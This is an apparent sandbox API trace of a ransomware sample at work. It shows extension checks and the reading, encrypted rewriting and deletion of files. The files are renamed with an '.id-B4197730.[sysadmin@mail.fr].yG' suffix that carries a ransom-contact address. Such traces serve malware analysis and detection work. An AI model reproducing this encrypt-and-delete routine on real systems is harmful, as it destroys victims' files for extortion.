	[0061.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0061.078] lstrlenW (lpString=".ppt") returned 4
	[0061.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0061.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0061.078] lstrlenW (lpString=".zip") returned 4
	[0061.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0061.078] lstrlenW (lpString=".rar") returned 4
	[0061.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0061.078] lstrlenW (lpString=".bz2") returned 4
	[0061.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0061.078] lstrlenW (lpString=".7z") returned 3
	[0061.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0061.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0061.078] lstrlenW (lpString=".dbf") returned 4
	[0061.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0061.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0061.078] lstrlenW (lpString=".1cd") returned 4
	[0061.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0061.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0061.079] lstrlenW (lpString=".jpg") returned 4
	[0061.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0061.080] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.080] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0061.081] GetLastError () returned 0x0
	[0061.081] ReadFile (hFile=0x364, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0) 

Thread:
	id = 12
	os_tid = 0x770

	[0039.970] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x7308a8
	[0039.970] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3b10048
	[0039.971] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f18
	[0039.971] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x6ee980
	[0039.971] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa1b8
	[0039.971] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x3c1d020
	[0039.973] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa008
	[0039.973] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6aa008, Size=0x20) returned 0x68fa80
	[0039.973] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f60
	[0039.973] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9f60, Size=0x20) returned 0x68f8f0
	[0039.973] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0039.973] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0039.973] Wow64DisableWow64FsRedirection (in: OldValue=0x2d6ff50 | out: OldValue=0x2d6ff50*=0x0) returned 1
	[0039.973] lstrlenW (lpString="kernel32.dll") returned 12
	[0039.973] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa80 | out: hHeap=0x650000) returned 1
	[0039.973] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0039.973] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f8f0 | out: hHeap=0x650000) returned 1
	[0039.973] Sleep (dwMilliseconds=0x64) 
	[0040.095] Sleep (dwMilliseconds=0x64) 
	[0040.301] lstrcmpiW (lpString1=".log", lpString2=".yG") returned -1
	[0040.301] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30
	[0040.301] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0040.781] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=40) returned 1
	[0040.782] CloseHandle (hObject=0x2c4) returned 1
	[0040.782] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20
	[0040.782] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0040.782] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0040.782] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.782] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.782] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0040.782] GetLastError () returned 0x0
	[0040.782] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x28, lpOverlapped=0x0) returned 1
	[0040.911] WriteFile (in: hFile=0x2c0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x30, lpOverlapped=0x0) returned 1
	[0040.912] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0040.912] WriteFile (in: hFile=0x2c0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x110, lpOverlapped=0x0) returned 1
	[0040.912] SetEndOfFile (hFile=0x2c0) returned 1
	[0040.913] CloseHandle (hObject=0x2c0) returned 1
	[0040.913] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.913] SetEndOfFile (hFile=0x2c4) returned 1
	[0040.914] CloseHandle (hObject=0x2c4) returned 1
	[0040.914] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0040.987] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1
	[0040.987] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.987] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.987] lstrlenW (lpString=".doc") returned 4
	[0040.987] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0040.987] lstrlenW (lpString=".docx") returned 5
	[0040.987] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1
	[0040.987] lstrlenW (lpString=".pdf") returned 4
	[0040.987] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0040.987] lstrlenW (lpString=".xls") returned 4
	[0040.987] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0040.987] lstrlenW (lpString=".xlsx") returned 5
	[0040.987] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1
	[0040.987] lstrlenW (lpString=".ppt") returned 4
	[0040.987] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0040.987] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.987] lstrlenW (lpString=".zip") returned 4
	[0040.987] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0040.987] lstrlenW (lpString=".rar") returned 4
	[0040.987] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0040.988] lstrlenW (lpString=".bz2") returned 4
	[0040.988] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0040.988] lstrlenW (lpString=".7z") returned 3
	[0040.988] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0040.988] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.988] lstrlenW (lpString=".dbf") returned 4
	[0040.988] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0040.988] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.988] lstrlenW (lpString=".1cd") returned 4
	[0040.988] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0040.988] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.988] lstrlenW (lpString=".jpg") returned 4
	[0040.988] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0040.988] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.988] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.988] lstrlenW (lpString=".doc") returned 4
	[0040.988] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0040.988] lstrlenW (lpString=".docx") returned 5
	[0040.988] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1
	[0040.988] lstrlenW (lpString=".pdf") returned 4
	[0040.988] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0040.988] lstrlenW (lpString=".xls") returned 4
	[0040.988] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0040.988] lstrlenW (lpString=".xlsx") returned 5
	[0040.988] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1
	[0040.988] lstrlenW (lpString=".ppt") returned 4
	[0040.988] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0040.989] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.989] lstrlenW (lpString=".zip") returned 4
	[0040.989] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0040.989] lstrlenW (lpString=".rar") returned 4
	[0040.989] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0040.989] lstrlenW (lpString=".bz2") returned 4
	[0040.989] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0040.989] lstrlenW (lpString=".7z") returned 3
	[0040.989] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0040.989] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.989] lstrlenW (lpString=".dbf") returned 4
	[0040.989] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0040.989] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.989] lstrlenW (lpString=".1cd") returned 4
	[0040.989] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0040.989] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0040.989] lstrlenW (lpString=".jpg") returned 4
	[0040.989] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0040.989] Sleep (dwMilliseconds=0x64) 
	[0041.293] Sleep (dwMilliseconds=0x64) 
	[0041.616] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0041.616] lstrlenW (lpString="eula.rtf") returned 8
	[0041.616] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0041.652] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=6309) returned 1
	[0041.652] CloseHandle (hObject=0x2e0) returned 1
	[0041.652] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80
	[0041.652] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.652] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0041.652] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.652] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.653] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0041.657] GetLastError () returned 0x0
	[0041.657] ReadFile (in: hFile=0x2e0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x18a5, lpOverlapped=0x0) returned 1
	[0041.938] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x18b0, lpOverlapped=0x0) returned 1
	[0041.939] ReadFile (in: hFile=0x2e0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.939] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0041.939] SetEndOfFile (hFile=0x2e4) returned 1
	[0041.939] CloseHandle (hObject=0x2e4) returned 1
	[0041.940] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.940] SetEndOfFile (hFile=0x2e0) returned 1
	[0041.941] CloseHandle (hObject=0x2e0) returned 1
	[0041.941] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.941] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1
	[0041.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.941] lstrlenW (lpString=".doc") returned 4
	[0041.941] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0041.941] lstrlenW (lpString=".docx") returned 5
	[0041.941] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0041.941] lstrlenW (lpString=".pdf") returned 4
	[0041.941] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0041.941] lstrlenW (lpString=".xls") returned 4
	[0041.941] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0041.941] lstrlenW (lpString=".xlsx") returned 5
	[0041.941] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0041.941] lstrlenW (lpString=".ppt") returned 4
	[0041.941] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.942] lstrlenW (lpString=".zip") returned 4
	[0041.942] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0041.942] lstrlenW (lpString=".rar") returned 4
	[0041.942] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString=".bz2") returned 4
	[0041.942] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString=".7z") returned 3
	[0041.942] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0041.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.942] lstrlenW (lpString=".dbf") returned 4
	[0041.942] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.942] lstrlenW (lpString=".1cd") returned 4
	[0041.942] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.942] lstrlenW (lpString=".jpg") returned 4
	[0041.942] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.942] lstrlenW (lpString=".doc") returned 4
	[0041.942] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString=".docx") returned 5
	[0041.942] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0041.942] lstrlenW (lpString=".pdf") returned 4
	[0041.942] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString=".xls") returned 4
	[0041.942] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0041.942] lstrlenW (lpString=".xlsx") returned 5
	[0041.942] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0041.942] lstrlenW (lpString=".ppt") returned 4
	[0041.942] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.942] lstrlenW (lpString=".zip") returned 4
	[0041.942] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0041.942] lstrlenW (lpString=".rar") returned 4
	[0041.942] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0041.942] lstrlenW (lpString=".bz2") returned 4
	[0041.943] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0041.943] lstrlenW (lpString=".7z") returned 3
	[0041.943] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0041.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.943] lstrlenW (lpString=".dbf") returned 4
	[0041.943] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0041.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.943] lstrlenW (lpString=".1cd") returned 4
	[0041.943] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0041.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0041.943] lstrlenW (lpString=".jpg") returned 4
	[0041.943] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0041.943] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0041.943] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0041.943] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0041.989] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=80970) returned 1
	[0041.989] CloseHandle (hObject=0x348) returned 1
	[0041.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80
	[0041.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.144] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.144] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0042.369] GetLastError () returned 0x0
	[0042.369] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x13c4a, lpOverlapped=0x0) returned 1
	[0042.584] WriteFile (in: hFile=0x344, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13c50, lpOverlapped=0x0) returned 1
	[0042.585] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.585] WriteFile (in: hFile=0x344, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.585] SetEndOfFile (hFile=0x344) returned 1
	[0042.586] CloseHandle (hObject=0x344) returned 1
	[0042.587] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.587] SetEndOfFile (hFile=0x334) returned 1
	[0042.589] CloseHandle (hObject=0x334) returned 1
	[0042.615] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.616] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1
	[0042.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.616] lstrlenW (lpString=".doc") returned 4
	[0042.616] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.616] lstrlenW (lpString=".docx") returned 5
	[0042.616] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.616] lstrlenW (lpString=".pdf") returned 4
	[0042.616] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.616] lstrlenW (lpString=".xls") returned 4
	[0042.616] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.616] lstrlenW (lpString=".xlsx") returned 5
	[0042.616] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.616] lstrlenW (lpString=".ppt") returned 4
	[0042.616] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.617] lstrlenW (lpString=".zip") returned 4
	[0042.617] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.617] lstrlenW (lpString=".rar") returned 4
	[0042.617] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.617] lstrlenW (lpString=".bz2") returned 4
	[0042.617] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.617] lstrlenW (lpString=".7z") returned 3
	[0042.617] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.617] lstrlenW (lpString=".dbf") returned 4
	[0042.617] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
